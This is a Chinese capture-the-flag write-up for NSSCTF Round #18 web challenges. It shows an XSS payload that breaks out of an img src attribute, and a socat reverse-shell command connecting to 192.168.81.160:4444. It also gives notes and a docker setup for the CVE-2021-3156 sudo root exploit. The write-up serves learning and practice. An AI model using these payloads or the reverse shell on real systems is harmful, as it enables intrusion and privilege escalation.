NssctfRound#18_web

learn

门酱想玩什么呢?

启动界面看到hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}

代码意思大概就是检测是否为.png并且是否符合他规定的格式。

重点是echo '<img class="content" src="' . $matches[0] . '">';

看到题目会把连接给到门将猜测是xss。但是打了半天也没啥cookie回来。

最后没做出来,看到wp才明白题目上hint的意思,可恶的元梦之星

构造http://x/x.png"><script>alert(1);</script>.png /png相当于闭合图片的连接并且新建一个标签实现xss

题目意思就是重定向到元梦之星官网。好家伙。

payload

1
http://x/x.png"><script>location.href="https://ymzx.qq.com/"</script>.png /png

Becomeroot

被元梦之星恶心到了,这题没看,看了一下wp是有一个内网提权的漏洞CVE-2021-3156 sudo本地提权。

先是上传shell蚁剑连接。

弹个交互shell,我用的是socat,实现交互式shell的几种方式:python pty 方式、升级nc、socat、script获取pty-CSDN博客

1
2
3
4
5
# 把socat上传到目标机器上或者直接下载
$ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
# 运行
$ chmod +x /tmp/socat
$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444

概述

CVE-2021-3156 漏洞主要成因在于sudo中存在一个基于堆的缓冲区溢出漏洞,当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码

漏洞简介与环境搭建

CptGibbon/CVE-2021-3156: Root shell PoC for CVE-2021-3156 (github.com)

CVE-2021-3156 漏洞复现笔记-CSDN博客

漏洞简介

漏洞编号: CVE-2021-3156
漏洞产品: sudo
影响版本:
1.8.2-1.8.31sp12;
1.9.0-1.9.5sp1
利用后果: 本地提权

漏洞检测

用户首先使用非root账户登录系统,然后执行

1
sudoedit -s / 

image-20240228205722894

服务器登陆本身就是root用户,但是非root用户也是这个报错。

image-20240228215048258

环境搭建

ubuntu系统均已修复此漏洞,所以直接选择用拉取合适的docker
docker 环境: https://hub.docker.com/r/chenaotian/cve-2021-3156
这个docker中提供了:
1.自己编译的可源码调式的sudo
2.有调试符号的glibc
3.gdb 和gdb插件pwngdb & pwndbg
4.exp.c 及其编译成功的exp

首先拉取镜像

1
docker pull chenaotian/cve-2021-3156

构造容器

1
docker run -d -ti --rm -h sudodebug --name sudodebug --cap-add=SYS_PTRACE chenaotian/cve-2021-3156:latest /bin/bash

进入容器

1
2
3
4
5
docker exec -it sudodebug  /bin/bash

cd ~

ls

image-20240228220019564

本题需要上传exp.c文件然后编译后make即可实现提权。